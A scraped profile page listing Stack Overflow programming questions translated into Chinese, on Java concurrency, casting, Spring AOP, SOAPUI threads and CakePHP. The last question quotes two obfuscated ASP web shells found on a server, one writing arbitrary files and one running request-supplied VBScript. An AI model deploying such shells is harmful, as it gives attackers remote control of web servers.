小编cow*_*wls的帖子

删除已删除的ConcurrentHashMap元素有多安全?

如果是以下代码,则由多个线程运行:

private static final Map<String, keyinfo> mapKeys = new ConcurrentHashMap<String, keyinfo>();

private static void purgeOldKeys() {
    for (Map.Entry<String, keyinfo> key : mapKeys.entrySet()) {
        if(key.getValue().createTime + keyCacheTime < getCurrentDBTime())
            mapKeys.remove(key);
    }
}
Run Code Online (Sandbox Code Playgroud)

我可以避开同步器吗?

或者因为删除已经删除的元素,没有根据JavaDoc定义,仍然需要同步器?

java multithreading synchronization concurrenthashmap

2
推荐指数
1
解决办法
5982
查看次数

java.lang.classcastexception:java.lang.long 不能转换为 java.lang.integer

我有一个非常熟悉的异常,但我异常地遇到了这个异常。

我的应用程序在glassfish 3.1服务器上运行良好,然后我将应用程序迁移到glassfish 3.1.2。服务器。我成功地将它部署到新服务器。

当我打开我的应用程序时,我得到一个异常 java.lang.classcastexception: java.lang.long cannot be cast to java.lang.integer。

首先,我认为异常出现是由于ojdbc6.jar然后我用ojdbc14.jar改变了它。我重新启动了服务器,但没有任何改变。我犯了同样的错误。现在,我不知道我必须做什么。

代码是:

geriDonecek.setToplamListeBuyuklugu((Integer)criteria2.setProjection(Projections??.rowCount()).uniqueResult());
Run Code Online (Sandbox Code Playgroud)

请帮助我,我会很高兴。

提前致谢。

glassfish

2
推荐指数
1
解决办法
2万
查看次数

SOAPUI中挂起的线程在Java应用程序中测试

我试图通过Java应用程序而不是UI来执行我的SOAPUI测试套件.但是,在创建WSDLProject时,一个线程开始永远不会被杀死,所以当我的代码执行并且所有测试都运行时,应用程序不会因为这个线程仍然在那里而结束.

它看起来像一个AWT守护程序线程

在Eclipse Debugger中:

Daemon Thread [AWT-Windows] (Running)   
Run Code Online (Sandbox Code Playgroud)

这是我的代码:

WsdlProject projectName = String.format(
    "src/main/resources/%s-soapui-project.xml", projectName);
WsdlProject project = new WsdlProject(projectName); //This line starts the thread

List<TestSuite> testSuites = project.getTestSuiteList();

//Loop over each testsuite
    //Loop over each test case
Run Code Online (Sandbox Code Playgroud)

有谁知道如何杀死这个线程?

我搜索并搜索了SOAPUI API,但文档很糟糕,我找不到任何关于如何处理这个问题的正确例子.

java soapui

2
推荐指数
1
解决办法
1729
查看次数

用Java对对象数组进行排序

我正在编写一个报告模块,显示花费的时间和任务数量.这些值在Java Bean中设置,bean对象存储在一个数组中.我使用单独的查询来获取任务的时间和数量.现在我必须根据任务的时间和数量对数组进行排序.下面的代码仅比较字符串:

if (!list.isEmpty()) {
    Collections.sort(list, new Comparator<Project>() {
        @Override
        public int compare(Project p1, Project p2) {

            return p1.getName().compare(p2.getName());
        }
       });
   }
Run Code Online (Sandbox Code Playgroud)

我在排序存储在数组中的JavaBean中的属性的整数值时遇到问题.非常感谢任何帮助.

java sorting

2
推荐指数
1
解决办法
8335
查看次数

即使在满足条件之后,for循环也继续执行Java

我正在运行此代码,循环似乎没有停止在指定的条件.

for(double i=1.0; i!=2.0; i+=0.2){
    System.out.println("The value of i :" +i);
}
Run Code Online (Sandbox Code Playgroud)

这是用Java表示双数的方式的问题吗?

java

2
推荐指数
1
解决办法
94
查看次数

如何在jsp中获取ID而不是值?

如何从jsp到servlet获取按钮ID,而不是获取按钮值

<input id="${section.id}" type="submit" name="submit" value="Edit">
Run Code Online (Sandbox Code Playgroud)

如何在servlet中获取该ID?

html java jsp servlets

1
推荐指数
1
解决办法
2万
查看次数

Spring AOP IllegalArgumentException:无法转换类型为[$ Proxy12]的值

我正在尝试在现有的spring项目中配置一个建议.以下配置适用于单个程序包,但是当切入点表达式尝试在所有程序包上应用该通知时,它会给出以下错误.

我的配置:

<aop:config>
    <aop:pointcut id="loggingPointcut" expression="execution(* com.abc.businessprocess.operation..*.execute(..))" />
    <aop:advisor id="methodLoggingAdvisor" advice-ref="methodLoggingAdvice" pointcut-ref="loggingPointcut" />
</aop:config>
Run Code Online (Sandbox Code Playgroud)

我也尝试了注释,但它给出了相同的错误.即使在使用它给出相同的错误后,我也尝试使用CGLIB.

错误:

Caused by: org.springframework.beans.TypeMismatchException: Failed to convert property value of type [$Proxy12 implementing com.fmr.ast.common.businessprocess.util.Timeable,com.fmr.ast.common.businessprocess.operation.Operation,com.fmr.commons.taskmanager.core.Task,org.springframework.aop.SpringProxy,org.springframework.aop.framework.Advised] to required type [com.fmr.ips.businessprocess.operation.goalsetup.GetLeveledIRGExpInc] for property 'getRawDetailedLeveledExpInc'; nested exception is java.lang.IllegalArgumentException: Cannot convert value of type [$Proxy12 implementing com.fmr.ast.common.businessprocess.util.Timeable,com.fmr.ast.common.businessprocess.operation.Operation,com.fmr.commons.taskmanager.core.Task,org.springframework.aop.SpringProxy,org.springframework.aop.framework.Advised] to required type [com.fmr.ips.businessprocess.operation.goalsetup.GetLeveledIRGExpInc] for property 'getRawDetailedLeveledExpInc': no matching editors or conversion strategy found
    at org.springframework.beans.BeanWrapperImpl.convertForProperty(BeanWrapperImpl.java:391)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.convertForProperty(AbstractAutowireCapableBeanFactory.java:1289)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.applyPropertyValues(AbstractAutowireCapableBeanFactory.java:1250)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1010)
    at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:472)
    ... 33 more
Caused by: java.lang.IllegalArgumentException: Cannot convert …
Run Code Online (Sandbox Code Playgroud)

proxy spring spring-aop

1
推荐指数
1
解决办法
4088
查看次数

搜索无序整数数组

搜索索引的最佳方法是什么,属于大的无序整数数组的整数元素的值是什么?对于这个过程,这是最好的搜索技术/算法?

int[] temp = new int[]{1,4,3,6,7,8,5,2,9,......}
Run Code Online (Sandbox Code Playgroud)

现在说,我想搜索元素'9',我也需要获得该元素的索引.我的意思是说,排序数组元素并确定它在这里不起作用(因为我需要跟踪元素的索引).有什么建议?我正在研究java的方式..

java arrays search

1
推荐指数
1
解决办法
3962
查看次数

CakePHP包含的行为无法按预期工作

我正在尝试从2级深度的模型中检索特定字段.我使用容器行为,但没有正确检索底层.

下面是代码:

$this->Review->Behaviors->attach('Containable');
    $latestReviews = $this->Review->find('all', array(
        'contain' => array(
            'Business' => array(
                'fields' => array('Business.name'),
                'BusinessType' => array(
                    'fields' => array('BusinessType.url')
                )
            ),
        ),
        'fields' => array('overall'),
    ));
Run Code Online (Sandbox Code Playgroud)

它返回的数组:

array(
(int) 0 => array(
    'Review' => array(
        'overall' => '2'
    ),
    'Business' => array(
        'name' => 'Business Name',
        'business_type_id' => '1',
        'id' => '2012'
    )
))
Run Code Online (Sandbox Code Playgroud)

但是,不是给我业务类型ID,而是希望它返回BusinessType url字段.

任何人都可以看到我错在哪里?我确定这与CakePHP文档一致.

php cakephp containable

0
推荐指数
1
解决办法
1360
查看次数

Spring框架 - GET和POST之间的区别

我正在使用Spring Framework在JSP上开发一个网页,我知道GET和POST之间的区别,如果页面发送了POST动作; 在浏览器区域,似乎没有发送信息,而在GET中则恰恰相反.

在Spring框架中,我通过控制器发送和获取信息,在编写控制器之前,我使用Request映射;

@RequestMapping(value = "/pri/SuperUser/ResetPassword.qib",method = RequestMethod.GET)
@Override
public ModelandView function(Model model){
...
...
Run Code Online (Sandbox Code Playgroud)

那么,在这种情况下使用GET和POST有什么区别.除了在浏览器字段中看到发送的信息之外,还应该有其他不同之处.

java spring spring-mvc

0
推荐指数
1
解决办法
3万
查看次数

这个ASP代码有什么作用?

我在服务器中找到了一个名为foot.asp的文件,其中包含此代码.

这段代码做了什么:

<span>&nbsp;</span>
<%set s=server.createObject("A"&"do"&"db.St"&"re"&"am")%> 
<%s.Type=2%> 
<%s.Open%> 
<%s.CharSet="utf-8"%> 
<%s.writetext request("hkfox360")%> 
<%s.SaveToFile request("tofile"),2%> 
<%s.Close%> 
<%set s=nothing%>
Run Code Online (Sandbox Code Playgroud)

另一个代码:

<a>&nbsp;</a>
<% 
Set o = Server.CreateObject("Sc"&"ri"&"ptC"&"ont"&"rol") 
o.language = "vb"&"scr"&"i"&"pt" 
o.addcode(Request("Sj"&"C"&"od"&"e"))
o.run "e",Server,Response,Request,Application,Session,Error
%>
Run Code Online (Sandbox Code Playgroud)

asp-classic

-1
推荐指数
1
解决办法
481
查看次数